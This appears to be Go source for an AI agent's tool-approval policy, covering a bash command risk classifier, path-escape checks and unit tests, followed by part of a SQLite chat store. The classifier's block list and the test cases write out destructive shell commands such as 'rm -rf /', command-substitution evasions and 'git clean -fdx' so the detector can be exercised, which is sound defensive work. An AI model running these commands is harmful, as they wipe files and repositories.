return ApprovalEvaluation{Decision: ApprovalAllowOnce, Risk: ApprovalRiskLow, Summary: fmt.Sprintf("%s can run without approval", toolApprovalDisplayName(req.ToolName))}
case "web_search", "web_fetch":
return ApprovalEvaluation{Decision: ApprovalAllowOnce, Risk: ApprovalRiskLow, Summary: fmt.Sprintf("%s can run without approval", toolApprovalDisplayName(req.ToolName))}
case "edit":
return evaluateEditApproval(req)
case "bash":
return evaluateBashApproval(req)
default:
return ApprovalEvaluation{
RequirePrompt: true,
Risk: ApprovalRiskMedium,
Summary: fmt.Sprintf("%s wants to run", toolApprovalDisplayName(req.ToolName)),
Reasons: []string{"unknown tool effects"},
SessionKey: approvalSessionKey(req),
}
}
}
func evaluateEditApproval(req ApprovalRequest) ApprovalEvaluation {
path, ok := stringApprovalArg(req.Args, "path")
if !ok {
return denyApproval("edit", ApprovalRiskHigh, "missing path argument")
}
if reason := approvalPathEscapeReason(req.WorkingDir, path); reason != "" {
return denyApproval("edit", ApprovalRiskHigh, reason)
}
reasons := []string{"writes to a file"}
if replaceAll, _ := req.Args["replace_all"].(bool); replaceAll {
reasons = append(reasons, "may replace multiple matches")
}
return ApprovalEvaluation{
RequirePrompt: true,
Risk: ApprovalRiskMedium,
Summary: fmt.Sprintf("Edit wants to modify %s", path),
Reasons: reasons,
SessionKey: "edit:" + path,
}
}
func evaluateBashApproval(req ApprovalRequest) ApprovalEvaluation {
command, ok := stringApprovalArg(req.Args, "command")
if !ok || strings.TrimSpace(command) == "" {
return denyApproval("bash", ApprovalRiskHigh, "missing command argument")
}
risk, reasons := classifyBashCommand(command)
if len(reasons) == 0 {
reasons = append(reasons, "runs shell commands")
}
return ApprovalEvaluation{
RequirePrompt: true,
Risk: risk,
Summary: "Bash wants to run a command",
Reasons: reasons,
SessionKey: "bash:" + command,
}
}
func denyApproval(toolName string, risk ApprovalRisk, reason string) ApprovalEvaluation {
return ApprovalEvaluation{
Decision: ApprovalDeny,
Risk: risk,
Summary: fmt.Sprintf("%s cannot run", toolApprovalDisplayName(toolName)),
Reasons: []string{reason},
SessionKey: approvalSessionKey(ApprovalRequest{ToolName: toolName}),
}
}
// Bash approval is static analysis of model-generated commands, not a sandbox.
// Globs, aliases, environment, and runtime shell state are intentionally out of scope.
func classifyBashCommand(command string) (ApprovalRisk, []string) {
classifier := bashClassifier{risk: ApprovalRiskMedium}
tokens, scannerReasons, scannerHigh := scanBashTokens(command)
for _, reason := range scannerReasons {
classifier.addReason(reason)
}
if scannerHigh {
classifier.high = true
}
if bashFunctionDeclPattern.MatchString(command) {
classifier.addReason("defines shell functions")
classifier.high = true
}
if bashSubshellPattern.MatchString(command) {
classifier.addReason("uses a subshell")
classifier.high = true
}
for _, token := range tokens {
if token.kind != bashTokenOperator {
continue
}
switch token.value {
case "&&", "||", "|":
classifier.addReason("uses shell control operator " + token.value)
classifier.high = true
case ";", "\n":
classifier.addReason("uses shell statement separator")
classifier.high = true
case "&":
classifier.addReason("runs a command in the background")
classifier.high = true
case "$(", "`":
classifier.addReason("uses command substitution")
classifier.high = true
case "<(", ">(":
classifier.addReason("uses process substitution")
classifier.high = true
case ">", ">>", ">|", ">&", "&>":
classifier.addReason("writes or redirects files")
classifier.high = true
case "<", "<<", "<&":
classifier.addReason("uses shell redirection")
}
}
for _, args := range bashCommandCalls(tokens) {
classifier.addCall(args)
}
if classifier.high {
classifier.risk = ApprovalRiskHigh
}
return classifier.risk, classifier.reasons
}
type bashClassifier struct {
risk ApprovalRisk
high bool
reasons []string
}
func (c *bashClassifier) addReason(reason string) {
if reason == "" || slices.Contains(c.reasons, reason) {
return
}
c.reasons = append(c.reasons, reason)
}
func (c *bashClassifier) addCall(args []string) {
args = shellCommandArgs(args)
if len(args) == 0 {
return
}
if isDynamicCommandName(args[0]) {
c.addReason("uses dynamic command name")
c.high = true
}
name := shellCommandBase(args[0])
switch name {
case "cd":
c.addReason("changes directory")
c.high = true
case "eval":
c.addReason("evaluates shell code")
c.high = true
case "source", ".":
c.addReason("sources shell code")
c.high = true
case "exec":
c.addReason("replaces the shell process")
c.high = true
case "sudo":
c.addReason("runs with elevated privileges")
c.high = true
case "rm":
if hasAnyFlag(args[1:], "r", "R", "recursive") || hasAnyFlag(args[1:], "f", "force") {
c.addReason("removes files destructively")
c.high = true
}
case "git":
if isGitResetHard(args) {
c.addReason("runs destructive git reset")
c.high = true
}
if isGitCleanDestructive(args) {
c.addReason("runs destructive git clean")
c.high = true
}
case "find":
c.addFindReasons(args)
case "chmod", "chown":
if hasAnyFlag(args[1:], "R", "recursive") {
c.addReason("changes permissions or ownership recursively")
c.high = true
}
case "dd", "diskutil":
c.addReason("can write directly to disks")
c.high = true
case "mkfs", "newfs":
c.addReason("formats filesystems")
c.high = true
case "curl", "wget":
c.addReason("downloads remote content")
case "sh", "bash", "zsh":
if len(args) > 1 {
c.addReason("runs a shell interpreter")
c.high = true
}
}
}
func (c *bashClassifier) addFindReasons(args []string) {
for i := 1; i < len(args); i++ {
switch args[i] {
case "-delete":
c.addReason("deletes files via find")
c.high = true
case "-exec", "-execdir":
c.addReason("executes commands via find")
c.high = true
end := i + 1
for end < len(args) && args[end] != ";" && args[end] != `\;` && args[end] != "+" {
end++
}
if end > i+1 {
c.addCall(args[i+1 : end])
}
i = end
}
}
}
func hasAnyFlag(args []string, flags ...string) bool {
for _, arg := range args {
if arg == "--" {
return false
}
if !strings.HasPrefix(arg, "-") {
continue
}
for _, flag := range flags {
short := len(flag) == 1
if short && strings.HasPrefix(arg, "-") && !strings.HasPrefix(arg, "--") && strings.Contains(arg[1:], flag) {
return true
}
if arg == "--"+flag {
return true
}
}
}
return false
}
func isGitResetHard(args []string) bool {
subcommand := gitSubcommandArgs(args)
return len(subcommand) >= 2 && subcommand[0] == "reset" && slices.Contains(subcommand[1:], "--hard")
}
func isGitCleanDestructive(args []string) bool {
subcommand := gitSubcommandArgs(args)
if len(subcommand) < 1 || subcommand[0] != "clean" {
return false
}
return hasAnyFlag(subcommand[1:], "f", "force") && (hasAnyFlag(subcommand[1:], "d") || hasAnyFlag(subcommand[1:], "x", "X"))
}
func gitSubcommandArgs(args []string) []string {
for i := 1; i < len(args); i++ {
arg := args[i]
if arg == "--" {
return args[i+1:]
}
switch {
case arg == "-C", arg == "-c", arg == "--git-dir", arg == "--work-tree":
i++
continue
case strings.HasPrefix(arg, "-C"), strings.HasPrefix(arg, "-c"):
continue
case strings.HasPrefix(arg, "--git-dir="), strings.HasPrefix(arg, "--work-tree="):
continue
case strings.HasPrefix(arg, "-"):
continue
default:
return args[i:]
}
}
return nil
}
type bashTokenKind int
const (
bashTokenWord bashTokenKind = iota
bashTokenOperator
)
type bashToken struct {
kind bashTokenKind
value string
}
var (
bashFunctionDeclPattern = regexp.MustCompile(`(?m)(^|[;&|[:space:]])(?:function[[:space:]]+)?[A-Za-z_][A-Za-z0-9_]*[[:space:]]*(?:\(\)[[:space:]]*)?\{`)
bashSubshellPattern = regexp.MustCompile(`(?m)(^|[;&|[:space:]])\(`)
)
func scanBashTokens(command string) ([]bashToken, []string, bool) {
var tokens []bashToken
var reasons []string
var word strings.Builder
var quote byte
escaped := false
high := false
flushWord := func() {
if word.Len() == 0 {
return
}
tokens = append(tokens, bashToken{kind: bashTokenWord, value: word.String()})
word.Reset()
}
addOperator := func(op string) {
tokens = append(tokens, bashToken{kind: bashTokenOperator, value: op})
}
for i := 0; i < len(command); i++ {
ch := command[i]
if escaped {
word.WriteByte(ch)
escaped = false
continue
}
if ch == '\\' && quote != '\'' {
escaped = true
continue
}
if quote == '\'' {
if ch == '\'' {
quote = 0
} else {
word.WriteByte(ch)
}
continue
}
if quote == '"' {
switch {
case ch == '"':
quote = 0
case ch == '`':
addOperator("`")
word.WriteByte(ch)
case ch == '$' && i+1 < len(command) && command[i+1] == '(':
addOperator("$(")
word.WriteString("$(")
i++
default:
word.WriteByte(ch)
}
continue
}
if ch == '\'' || ch == '"' {
quote = ch
continue
}
if ch == '`' {
addOperator("`")
word.WriteByte(ch)
continue
}
if ch == '$' && i+1 < len(command) && command[i+1] == '(' {
addOperator("$(")
word.WriteString("$(")
i++
continue
}
if (ch == '<' || ch == '>') && i+1 < len(command) && command[i+1] == '(' {
flushWord()
addOperator(string([]byte{ch, '('}))
i++
continue
}
if ch == '\n' {
flushWord()
addOperator("\n")
continue
}
if ch == ' ' || ch == '\t' || ch == '\r' {
flushWord()
continue
}
switch ch {
case '&':
flushWord()
switch {
case i+1 < len(command) && command[i+1] == '&':
addOperator("&&")
i++
case i+1 < len(command) && command[i+1] == '>':
addOperator("&>")
i++
default:
addOperator("&")
}
case '|':
flushWord()
if i+1 < len(command) && command[i+1] == '|' {
addOperator("||")
i++
} else {
addOperator("|")
}
case ';':
flushWord()
addOperator(";")
case '<':
flushWord()
if i+1 < len(command) && command[i+1] == '<' {
addOperator("<<")
i++
} else if i+1 < len(command) && command[i+1] == '&' {
addOperator("<&")
i++
} else {
addOperator("<")
}
case '>':
flushWord()
if i+1 < len(command) && command[i+1] == '>' {
addOperator(">>")
i++
} else if i+1 < len(command) && command[i+1] == '|' {
addOperator(">|")
i++
} else if i+1 < len(command) && command[i+1] == '&' {
addOperator(">&")
i++
} else {
addOperator(">")
}
default:
word.WriteByte(ch)
}
}
if escaped || quote != 0 {
reasons = append(reasons, "could not parse shell command")
high = true
}
flushWord()
return tokens, reasons, high
}
func bashCommandCalls(tokens []bashToken) [][]string {
var calls [][]string
var current []string
flush := func() {
if len(current) == 0 {
return
}
calls = append(calls, current)
current = nil
}
for _, token := range tokens {
if token.kind == bashTokenWord {
current = append(current, token.value)
continue
}
if isBashCommandBoundary(token.value) {
flush()
}
}
flush()
return calls
}
func isBashCommandBoundary(op string) bool {
switch op {
case "&&", "||", "|", ";", "&", "\n":
return true
default:
return false
}
}
func shellCommandArgs(args []string) []string {
for len(args) > 0 && isShellAssignment(args[0]) {
args = args[1:]
}
return args
}
func isShellAssignment(word string) bool {
name, _, ok := strings.Cut(word, "=")
if !ok || name == "" {
return false
}
for i := range len(name) {
ch := name[i]
if i == 0 {
if !((ch >= 'A' && ch <= 'Z') || (ch >= 'a' && ch <= 'z') || ch == '_') {
return false
}
continue
}
if !((ch >= 'A' && ch <= 'Z') || (ch >= 'a' && ch <= 'z') || (ch >= '0' && ch <= '9') || ch == '_') {
return false
}
}
return true
}
func isDynamicCommandName(name string) bool {
return strings.HasPrefix(name, "$") || strings.HasPrefix(name, "`") || strings.Contains(name, "$(") || strings.Contains(name, "`")
}
func shellCommandBase(name string) string {
name = strings.TrimSpace(name)
if i := strings.LastIndexAny(name, `/\`); i >= 0 && i+1 < len(name) {
name = name[i+1:]
}
return name
}
func approvalPathEscapeReason(workingDir, path string) string {
if strings.TrimSpace(path) == "" {
return ""
}
if filepath.IsAbs(path) {
return "absolute paths are not allowed"
}
base := workingDir
if base == "" {
var err error
base, err = os.Getwd()
if err != nil {
return "could not determine working directory"
}
}
base, err := canonicalApprovalPath(base)
if err != nil {
return "could not resolve working directory"
}
resolved := filepath.Clean(filepath.Join(base, path))
resolvedForCheck := resolved
if canonical, err := canonicalApprovalPath(resolved); err == nil {
resolvedForCheck = canonical
}
rel, err := filepath.Rel(base, resolvedForCheck)
if err != nil {
return "could not resolve path"
}
if rel == ".." || strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
return "path escapes working directory"
}
return ""
}
func canonicalApprovalPath(path string) (string, error) {
abs, err := filepath.Abs(path)
if err != nil {
return "", err
}
resolved, err := filepath.EvalSymlinks(abs)
if err == nil {
return resolved, nil
}
return abs, nil
}
func stringApprovalArg(args map[string]any, key string) (string, bool) {
value, ok := args[key].(string)
return value, ok && strings.TrimSpace(value) != ""
}
func stableApprovalArgs(args map[string]any) string {
if len(args) == 0 {
return ""
}
keys := make([]string, 0, len(args))
for key := range args {
keys = append(keys, key)
}
slices.Sort(keys)
var b bytes.Buffer
for _, key := range keys {
if b.Len() > 0 {
b.WriteByte(',')
}
fmt.Fprintf(&b, "%s=%v", key, args[key])
}
return b.String()
}
func toolApprovalDisplayName(name string) string {
switch name {
case "web_search":
return "Web Search"
case "web_fetch":
return "Web Fetch"
case "bash":
return "Bash"
case "read":
return "Read"
case "edit":
return "Edit"
default:
if name == "" {
return "Tool"
}
return name
}
}
+283
View File
@@ -0,0 +1,283 @@
package agent
import (
"context"
"strings"
"testing"
)
type recordingApprovalPrompter struct {
requests []ApprovalRequest
results []ApprovalResult
}
func (p *recordingApprovalPrompter) PromptApproval(_ context.Context, request ApprovalRequest) (ApprovalResult, error) {
p.requests = append(p.requests, request)
if len(p.results) == 0 {
return ApprovalResult{Decision: ApprovalAllowOnce}, nil
}
result := p.results[0]
p.results = p.results[1:]
return result, nil
}
func TestApprovalManagerAllowsSafeToolsWithoutPrompt(t *testing.T) {
prompter := &recordingApprovalPrompter{}
manager := NewApprovalManager(ApprovalManagerOptions{Prompter: prompter})
result, err := manager.Approve(context.Background(), ApprovalRequest{
ToolName: "read",
Args: map[string]any{"path": "README.md"},
WorkingDir: t.TempDir(),
})
if err != nil {
t.Fatal(err)
}
if result.Decision != ApprovalAllowOnce {
t.Fatalf("decision = %q, want allow_once", result.Decision)
}
if len(prompter.requests) != 0 {
t.Fatalf("safe tool prompted: %#v", prompter.requests)
}
}
func TestApprovalManagerDeniesEscapingPath(t *testing.T) {
manager := NewApprovalManager(ApprovalManagerOptions{})
result, err := manager.Approve(context.Background(), ApprovalRequest{
ToolName: "edit",
Args: map[string]any{"path": "../outside.txt"},
WorkingDir: t.TempDir(),
})
if err != nil {
t.Fatal(err)
}
if result.Decision != ApprovalDeny {
t.Fatalf("decision = %q, want deny", result.Decision)
}
if !strings.Contains(result.Reason, "path escapes working directory") {
t.Fatalf("reason = %q", result.Reason)
}
}
func TestApprovalManagerPromptsForEdit(t *testing.T) {
prompter := &recordingApprovalPrompter{}
manager := NewApprovalManager(ApprovalManagerOptions{Prompter: prompter})
result, err := manager.Approve(context.Background(), ApprovalRequest{
ToolName: "edit",
Args: map[string]any{"path": "note.txt", "old_text": "old", "new_text": "new"},
WorkingDir: t.TempDir(),
})
if err != nil {
t.Fatal(err)
}
if result.Decision != ApprovalAllowOnce {
t.Fatalf("decision = %q, want allow_once", result.Decision)
}
if len(prompter.requests) != 1 {
t.Fatalf("prompts = %d, want 1", len(prompter.requests))
}
request := prompter.requests[0]
if request.Risk != ApprovalRiskMedium {
t.Fatalf("risk = %q, want medium", request.Risk)
}
if !strings.Contains(strings.Join(request.Reasons, " "), "writes to a file") {
t.Fatalf("reasons = %#v", request.Reasons)
}
}
func TestApprovalManagerHeadlessDeniesPromptRequiredTools(t *testing.T) {
manager := NewApprovalManager(ApprovalManagerOptions{})
result, err := manager.Approve(context.Background(), ApprovalRequest{
ToolName: "bash",
Args: map[string]any{"command": "pwd"},
})
if err != nil {
t.Fatal(err)
}
if result.Decision != ApprovalDeny {
t.Fatalf("decision = %q, want deny", result.Decision)
}
if !strings.Contains(result.Reason, "--auto-approve-tools") {
t.Fatalf("reason = %q", result.Reason)
}
}
func TestApprovalManagerSessionAllowList(t *testing.T) {
prompter := &recordingApprovalPrompter{
results: []ApprovalResult{{Decision: ApprovalAllowSession}},
}
manager := NewApprovalManager(ApprovalManagerOptions{Prompter: prompter})
request := ApprovalRequest{
ToolName: "bash",
Args: map[string]any{"command": "go test ./agent"},
}
result, err := manager.Approve(context.Background(), request)
if err != nil {
t.Fatal(err)
}
if result.Decision != ApprovalAllowSession {
t.Fatalf("decision = %q, want allow_session", result.Decision)
}
result, err = manager.Approve(context.Background(), request)
if err != nil {
t.Fatal(err)
}
if result.Decision != ApprovalAllowOnce {
t.Fatalf("second decision = %q, want allow_once", result.Decision)
}
if len(prompter.requests) != 1 {
t.Fatalf("prompts = %d, want 1", len(prompter.requests))
}
}
func TestBashApprovalClassifiesHighRiskShell(t *testing.T) {
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
ToolName: "bash",
Args: map[string]any{"command": "cd / && rm -rf tmp"},
})
if !evaluation.RequirePrompt {
t.Fatal("bash should require prompt")
}
if evaluation.Risk != ApprovalRiskHigh {
t.Fatalf("risk = %q, want high", evaluation.Risk)
}
reasons := strings.Join(evaluation.Reasons, " ")
for _, want := range []string{"changes directory", "control operator", "removes files"} {
if !strings.Contains(reasons, want) {
t.Fatalf("reasons = %#v, want %q", evaluation.Reasons, want)
}
}
}
func TestBashApprovalClassifiesDynamicShellEvasions(t *testing.T) {
tests := []struct {
name string
cmd string
reason string
}{
{name: "function declaration", cmd: "f() { rm -rf /; } && f", reason: "defines shell functions"},
{name: "eval", cmd: `eval "$cmd"`, reason: "evaluates shell code"},
{name: "variable command name", cmd: "$DANGER --flag", reason: "dynamic command name"},
{name: "command substitution command name", cmd: "$(echo rm) -rf /", reason: "dynamic command name"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
ToolName: "bash",
Args: map[string]any{"command": tt.cmd},
})
if !evaluation.RequirePrompt {
t.Fatal("bash evasion should require prompt")
}
if evaluation.Risk != ApprovalRiskHigh {
t.Fatalf("risk = %q, want high", evaluation.Risk)
}
if reasons := strings.Join(evaluation.Reasons, " "); !strings.Contains(reasons, tt.reason) {
t.Fatalf("reasons = %#v, want %q", evaluation.Reasons, tt.reason)
}
})
}
}
func TestBashApprovalClassifiesDestructiveGitWithGlobalOptions(t *testing.T) {
tests := []struct {
name string
cmd string
reason string
}{
{name: "git reset hard after cwd", cmd: "git -C /tmp reset --hard", reason: "runs destructive git reset"},
{name: "git reset hard after config", cmd: "git -c core.autocrlf=false reset --hard", reason: "runs destructive git reset"},
{name: "git clean after work tree", cmd: "git --work-tree=/tmp clean -fdx", reason: "runs destructive git clean"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
ToolName: "bash",
Args: map[string]any{"command": tt.cmd},
})
if evaluation.Risk != ApprovalRiskHigh {
t.Fatalf("risk = %q, want high", evaluation.Risk)
}
if reasons := strings.Join(evaluation.Reasons, " "); !strings.Contains(reasons, tt.reason) {
t.Fatalf("reasons = %#v, want %q", evaluation.Reasons, tt.reason)
}
})
}
}
func TestBashApprovalClassifiesFindMutations(t *testing.T) {
tests := []struct {
name string
cmd string
reason string
}{
{name: "delete", cmd: "find . -name '*.tmp' -delete", reason: "deletes files via find"},
{name: "exec", cmd: `find . -name '*.tmp' -exec rm -rf {} \;`, reason: "executes commands via find"},
{name: "exec nested destructive command", cmd: `find . -name '*.tmp' -exec rm -rf {} \;`, reason: "removes files destructively"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
ToolName: "bash",
Args: map[string]any{"command": tt.cmd},
})
if evaluation.Risk != ApprovalRiskHigh {
t.Fatalf("risk = %q, want high", evaluation.Risk)
}
if reasons := strings.Join(evaluation.Reasons, " "); !strings.Contains(reasons, tt.reason) {
t.Fatalf("reasons = %#v, want %q", evaluation.Reasons, tt.reason)
}
})
}
}
func TestWebApprovalAllowsWithoutPrompt(t *testing.T) {
tests := []struct {
name string
tool string
args map[string]any
summary string
}{
{
name: "search",
tool: "web_search",
args: map[string]any{"query": "Ollama agents"},
summary: "Web Search can run without approval",
},
{
name: "fetch",
tool: "web_fetch",
args: map[string]any{"url": "https://ollama.com"},
summary: "Web Fetch can run without approval",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
ToolName: tt.tool,
Args: tt.args,
})
if evaluation.RequirePrompt {
t.Fatal("web tool should not require prompt")
}
if evaluation.Decision != ApprovalAllowOnce {
t.Fatalf("decision = %q, want allow once", evaluation.Decision)
}
if evaluation.Risk != ApprovalRiskLow {
t.Fatalf("risk = %q, want low", evaluation.Risk)
}
if evaluation.Summary != tt.summary {
t.Fatalf("summary = %q, want %q", evaluation.Summary, tt.summary)
}
})
}
}
+922
View File
@@ -0,0 +1,922 @@
package chatstore
import (
"context"
"database/sql"
"encoding/json"
"errors"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"time"
_ "github.com/mattn/go-sqlite3"
"github.com/ollama/ollama/api"
)
type Store struct {
db *sql.DB
}
const (
compactionSummaryMessagePrefix = "Conversation summary:\n"
compactionToolName = "summary"
compactionToolCallID = "ollama_compaction"
compactionContinueInstruction = "continue the task in progress. the history has been compacted, do not mention compaction to the user"
)
type Chat struct {
ID string
Title string
Model string
CreatedAt time.Time
Messages []api.Message
}
type ChatSummary struct {
ID string
Title string
Model string
CreatedAt time.Time
UpdatedAt time.Time
MessageCount int
ApproxBytes int64
}
func DefaultPath() string {
switch runtime.GOOS {
case "windows":
return filepath.Join(os.Getenv("LOCALAPPDATA"), "Ollama", "db.sqlite")
case "darwin":
return filepath.Join(os.Getenv("HOME"), "Library", "Application Support", "Ollama", "db.sqlite")
default:
return filepath.Join(os.Getenv("HOME"), ".ollama", "db.sqlite")
}
}
func New(path string) (*Store, error) {
if path == "" {
path = DefaultPath()
}
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
return nil, fmt.Errorf("create db directory: %w", err)
}
db, err := sql.Open("sqlite3", path+"?_foreign_keys=on&_journal_mode=WAL&_busy_timeout=5000&_txlock=immediate")
if err != nil {
return nil, fmt.Errorf("open database: %w", err)
}
if err := db.Ping(); err != nil {
db.Close()
return nil, fmt.Errorf("ping database: %w", err)
}
store := &Store{db: db}
if err := store.init(context.Background()); err != nil {
db.Close()
return nil, err
}
return store, nil
}
func (s *Store) Close() error {
if s == nil || s.db == nil {
return nil
}
_, _ = s.db.Exec("PRAGMA wal_checkpoint(TRUNCATE);")
return s.db.Close()
}
func (s *Store) init(ctx context.Context) error {
_, err := s.db.ExecContext(ctx, `
CREATE TABLE IF NOT EXISTS chats (
id TEXT PRIMARY KEY,
title TEXT NOT NULL DEFAULT '',
model_name TEXT NOT NULL DEFAULT '',
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
browser_state TEXT
);
CREATE TABLE IF NOT EXISTS messages (
id INTEGER PRIMARY KEY AUTOINCREMENT,
chat_id TEXT NOT NULL,
role TEXT NOT NULL,
content TEXT NOT NULL DEFAULT '',
thinking TEXT NOT NULL DEFAULT '',
images TEXT NOT NULL DEFAULT '[]',
model_name TEXT,
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
thinking_time_start TIMESTAMP,
thinking_time_end TIMESTAMP,
tool_result TEXT,
tool_name TEXT NOT NULL DEFAULT '',
tool_call_id TEXT NOT NULL DEFAULT '',
archived BOOLEAN NOT NULL DEFAULT 0,
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
);
CREATE INDEX IF NOT EXISTS idx_messages_chat_id ON messages(chat_id);
CREATE INDEX IF NOT EXISTS idx_messages_chat_id_id ON messages(chat_id, id);
CREATE TABLE IF NOT EXISTS tool_calls (
id INTEGER PRIMARY KEY AUTOINCREMENT,
message_id INTEGER NOT NULL,
type TEXT NOT NULL,
tool_call_id TEXT NOT NULL DEFAULT '',
function_name TEXT NOT NULL,
function_arguments TEXT NOT NULL,
function_result TEXT,
FOREIGN KEY (message_id) REFERENCES messages(id) ON DELETE CASCADE
);
CREATE INDEX IF NOT EXISTS idx_tool_calls_message_id ON tool_calls(message_id);
CREATE TABLE IF NOT EXISTS compactions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
chat_id TEXT NOT NULL,
summary TEXT NOT NULL,
archived_message_ids TEXT NOT NULL DEFAULT '[]',
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
);
CREATE INDEX IF NOT EXISTS idx_compactions_chat_id ON compactions(chat_id, id);
`)
if err != nil {
return fmt.Errorf("initialize chat store schema: %w", err)
}
if err := ensureColumn(ctx, s.db, "messages", "archived", "BOOLEAN NOT NULL DEFAULT 0"); err != nil {
return err
}
if err := ensureColumn(ctx, s.db, "chats", "model_name", "TEXT NOT NULL DEFAULT ''"); err != nil {
return err
}
if err := ensureColumn(ctx, s.db, "messages", "tool_name", "TEXT NOT NULL DEFAULT ''"); err != nil {
return err
}
if err := ensureColumn(ctx, s.db, "messages", "tool_call_id", "TEXT NOT NULL DEFAULT ''"); err != nil {
return err
}
if err := ensureColumn(ctx, s.db, "messages", "images", "TEXT NOT NULL DEFAULT '[]'"); err != nil {
return err
}
if err := ensureColumn(ctx, s.db, "tool_calls", "tool_call_id", "TEXT NOT NULL DEFAULT ''"); err != nil {
return err
}
if _, err := s.db.ExecContext(ctx, `CREATE INDEX IF NOT EXISTS idx_messages_chat_id_archived ON messages(chat_id, archived, id)`); err != nil {
return fmt.Errorf("create archived messages index: %w", err)
}
return nil
}
func (s *Store) EnsureChat(ctx context.Context, id string, title string) error {
if id == "" {
return fmt.Errorf("chat id is required")
}
_, err := s.db.ExecContext(ctx, `
INSERT INTO chats (id, title, created_at)
VALUES (?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
title = CASE
WHEN excluded.title != '' THEN excluded.title
ELSE chats.title
END
`, id, title, time.Now())
if err != nil {
return fmt.Errorf("ensure chat: %w", err)
}
return nil
}
func (s *Store) SetChatModel(ctx context.Context, chatID string, model string) error {
chatID = strings.TrimSpace(chatID)
model = strings.TrimSpace(model)
if chatID == "" {
return fmt.Errorf("chat id is required")
}
if model == "" {
return fmt.Errorf("model is required")
}
if err := s.EnsureChat(ctx, chatID, ""); err != nil {
return err
}
if _, err := s.db.ExecContext(ctx, `UPDATE chats SET model_name = ? WHERE id = ?`, model, chatID); err != nil {
return fmt.Errorf("set chat model: %w", err)
}
return nil
}
func (s *Store) AppendMessage(ctx context.Context, chatID string, msg api.Message, model string) error {
if err := s.EnsureChat(ctx, chatID, ""); err != nil {
return err
}
tx, err := s.db.BeginTx(ctx, nil)
if err != nil {
return fmt.Errorf("begin transaction: %w", err)
}
defer tx.Rollback()
messageID, err := insertMessage(ctx, tx, chatID, msg, model)
if err != nil {
return err
}
for _, toolCall := range msg.ToolCalls {
if err := insertToolCall(ctx, tx, messageID, toolCall); err != nil {
return err
}
}
if msg.Role == "user" && strings.TrimSpace(msg.Content) != "" {
if err := maybeSetTitle(ctx, tx, chatID, msg.Content); err != nil {
return err
}
}
return tx.Commit()
}
func (s *Store) UpdateLastMessage(ctx context.Context, chatID string, msg api.Message, model string) error {
tx, err := s.db.BeginTx(ctx, nil)
if err != nil {
return fmt.Errorf("begin transaction: %w", err)
}
defer tx.Rollback()
var messageID int64
if err := tx.QueryRowContext(ctx, `SELECT COALESCE(MAX(id), 0) FROM messages WHERE chat_id = ?`, chatID).Scan(&messageID); err != nil {
return fmt.Errorf("get last message id: %w", err)
}
if messageID == 0 {
return fmt.Errorf("no message found to update")
}
now := time.Now()
var modelName sql.NullString
if model != "" {
modelName = sql.NullString{String: model, Valid: true}
}
imagesJSON, err := marshalMessageImages(msg.Images)
if err != nil {
return err
}
_, err = tx.ExecContext(ctx, `
UPDATE messages
SET role = ?, content = ?, thinking = ?, images = ?, tool_name = ?, tool_call_id = ?, model_name = ?, updated_at = ?
WHERE id = ?
`, msg.Role, msg.Content, msg.Thinking, imagesJSON, msg.ToolName, msg.ToolCallID, modelName, now, messageID)
if err != nil {
return fmt.Errorf("update last message: %w", err)
}
if _, err := tx.ExecContext(ctx, `DELETE FROM tool_calls WHERE message_id = ?`, messageID); err != nil {
return fmt.Errorf("delete old tool calls: %w", err)
}
for _, toolCall := range msg.ToolCalls {
if err := insertToolCall(ctx, tx, messageID, toolCall); err != nil {
return err
}
}
return tx.Commit()
}
func (s *Store) Chat(ctx context.Context, id string) (*Chat, error) {
var chat Chat
var chatModel string
if err := s.db.QueryRowContext(ctx, `
SELECT id, title, model_name, created_at FROM chats WHERE id = ?
`, id).Scan(&chat.ID, &chat.Title, &chatModel, &chat.CreatedAt); err != nil {
return nil, err
}
if strings.TrimSpace(chatModel) != "" {
chat.Model = chatModel
} else {
model, err := latestModelForChat(ctx, s.db, id)
if err != nil {
return nil, err
}
chat.Model = model
}
rows, err := s.db.QueryContext(ctx, `
SELECT id, role, content, thinking, images, tool_name, tool_call_id FROM messages WHERE chat_id = ? AND archived = 0 ORDER BY id ASC
`, id)
if err != nil {
return nil, err
}
defer rows.Close()
for rows.Next() {
var messageID int64
var msg api.Message
var imagesJSON string
if err := rows.Scan(&messageID, &msg.Role, &msg.Content, &msg.Thinking, &imagesJSON, &msg.ToolName, &msg.ToolCallID); err != nil {
return nil, err
}
images, err := unmarshalMessageImages(imagesJSON)
if err != nil {
return nil, err
}
msg.Images = images
toolCalls, err := getToolCalls(ctx, s.db, messageID)
if err != nil {
return nil, err
}
msg.ToolCalls = toolCalls
chat.Messages = append(chat.Messages, msg)
}
if err := rows.Err(); err != nil {
return nil, err
}
summary, err := latestCompactionSummary(ctx, s.db, id)
if err != nil {
return nil, err
}
if summary != "" && !messagesContainCompactionSummary(chat.Messages) {
chat.Messages = insertCompactionSummaryAfterLeadingSystemMessages(chat.Messages, compactionSummaryMessages(summary, false))
} else {
chat.Messages = moveCompactionSummaryBeforeKeptMessages(chat.Messages)
}
return &chat, nil
}
func (s *Store) LatestChat(ctx context.Context) (*Chat, error) {
var chatID string
if err := s.db.QueryRowContext(ctx, `
SELECT c.id
FROM chats c
JOIN messages m ON m.chat_id = c.id
GROUP BY c.id
